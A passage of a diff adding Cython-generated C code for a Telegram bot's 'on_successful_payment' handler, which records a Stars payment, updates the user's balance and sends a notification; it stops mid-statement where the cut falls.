__Pyx_RefNannySetupContext("on_successful_payment (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_message,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_message)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 213, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "on_successful_payment") < 0)) __PYX_ERR(0, 213, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_message = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("on_successful_payment", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 213, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.stars_pay.on_successful_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_9stars_pay_15on_successful_payment(__pyx_self, __pyx_v_message); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_15on_successful_payment(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("on_successful_payment", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 213, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_message = __pyx_v_message; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_message); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_message); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_17generator5, __pyx_codeobj__28, (PyObject *) __pyx_cur_scope, __pyx_n_s_on_successful_payment, __pyx_n_s_on_successful_payment, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 213, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.stars_pay.on_successful_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + unsigned int __pyx_t_7; + double __pyx_t_8; + Py_ssize_t __pyx_t_9; + Py_UCS4 __pyx_t_10; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + int __pyx_t_13; + PyObject *__pyx_t_14 = NULL; + PyObject *__pyx_t_15 = NULL; + int __pyx_t_16; + char const *__pyx_t_17; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("on_successful_payment", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L10_resume_from_await; + case 2: goto __pyx_L11_resume_from_await; + case 3: goto __pyx_L12_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 213, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":217 + * message: types.Message, + * ): + * try: # <<<<<<<<<<<<<< + * user_id = int(message.chat.id) + * amount = float(message.successful_payment.invoice_payload.split("_")[0]) + */ + { + __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_3); + /*try:*/ { + + /* "handlers/payments/stars_pay.py":218 + * ): + * try: + * user_id = int(message.chat.id) # <<<<<<<<<<<<<< + * amount = float(message.successful_payment.invoice_payload.split("_")[0]) + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + */ + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 218, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_id); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 218, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyNumber_Int(__pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 218, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_GIVEREF(__pyx_t_4); + __pyx_cur_scope->__pyx_v_user_id = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/stars_pay.py":219 + * try: + * user_id = int(message.chat.id) + * amount = float(message.successful_payment.invoice_payload.split("_")[0]) # <<<<<<<<<<<<<< + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await add_payment(int(user_id), float(amount), "stars") + */ + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_successful_payment); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 219, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_invoice_payload); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 219, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_split); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 219, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_n_u__29}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 219, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_t_5 = __Pyx_GetItemInt(__pyx_t_4, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 219, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_8 = __Pyx_PyObject_AsDouble(__pyx_t_5); if (unlikely(__pyx_t_8 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 219, __pyx_L4_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_cur_scope->__pyx_v_amount = __pyx_t_8; + + /* "handlers/payments/stars_pay.py":220 + * user_id = int(message.chat.id) + * amount = float(message.successful_payment.invoice_payload.split("_")[0]) + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") # <<<<<<<<<<<<<< + * await add_payment(int(user_id), float(amount), "stars") + * await update_balance(user_id, amount) + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logger); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 220, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_debug); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 220, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = PyTuple_New(4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 220, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_9 = 0; + __pyx_t_10 = 127; + __Pyx_INCREF(__pyx_kp_u_Payment_succeeded_for_user_id); + __pyx_t_9 += 31; + __Pyx_GIVEREF(__pyx_kp_u_Payment_succeeded_for_user_id); + PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_kp_u_Payment_succeeded_for_user_id); + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 220, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_11); + PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_11); + __pyx_t_11 = 0; + __Pyx_INCREF(__pyx_kp_u_amount_2); + __pyx_t_9 += 10; + __Pyx_GIVEREF(__pyx_kp_u_amount_2); + PyTuple_SET_ITEM(__pyx_t_4, 2, __pyx_kp_u_amount_2); + __pyx_t_11 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 220, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 220, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_10 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_12) > __pyx_t_10) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_12) : __pyx_t_10; + __pyx_t_9 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_12); + __Pyx_GIVEREF(__pyx_t_12); + PyTuple_SET_ITEM(__pyx_t_4, 3, __pyx_t_12); + __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyUnicode_Join(__pyx_t_4, 4, __pyx_t_9, __pyx_t_10); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 220, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_t_12}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 220, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/stars_pay.py":221 + * amount = float(message.successful_payment.invoice_payload.split("_")[0]) + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await add_payment(int(user_id), float(amount), "stars") # <<<<<<<<<<<<<< + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 221, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_12 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 221, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_4 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 221, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_11 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[4] = {__pyx_t_11, __pyx_t_12, __pyx_t_4, __pyx_n_u_stars_3}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 3+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 221, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L10_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 221, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 221, __pyx_L4_error) + } + } + + /* "handlers/payments/stars_pay.py":222 + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await add_payment(int(user_id), float(amount), "stars") + * await update_balance(user_id, amount) # <<<<<<<<<<<<<< + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 222, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_4 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 222, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_12 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_12)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_12); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_12, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_4}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 222, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L11_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 222, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 222, __pyx_L4_error) + } + } + + /* "handlers/payments/stars_pay.py":223 + * await add_payment(int(user_id), float(amount), "stars") + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) # <<<<<<<<<<<<<< + * except ValueError as e: + * logger.error(f" user_id amount: {e}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 223, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_4 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 223, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_12 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_12)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_12); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_12, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_4}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 223, __pyx_L4_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L12_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 223, __pyx_L4_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 223, __pyx_L4_error) + } + } + + /* "handlers/payments/stars_pay.py":217 + * message: types.Message, + * ): + * try: # <<<<<<<<<<<<<< + * user_id = int(message.chat.id) + * amount = float(message.successful_payment.invoice_payload.split("_")[0]) + */ + } + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L9_try_end; + __pyx_L4_error:; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/stars_pay.py":224 + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" user_id amount: {e}") + */ + __pyx_t_13 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_13) { + __Pyx_AddTraceback("handlers.payments.stars_pay.on_successful_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_6, &__pyx_t_4) < 0) __PYX_ERR(0, 224, __pyx_L6_except_error) + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_4); + __Pyx_INCREF(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_v_e = __pyx_t_6; + /*try:*/ { + + /* "handlers/payments/stars_pay.py":225 + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: + * logger.error(f" user_id amount: {e}") # <<<<<<<<<<<<<< + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 225, __pyx_L18_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 225, __pyx_L18_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 225, __pyx_L18_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_15 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_11); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 225, __pyx_L18_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if 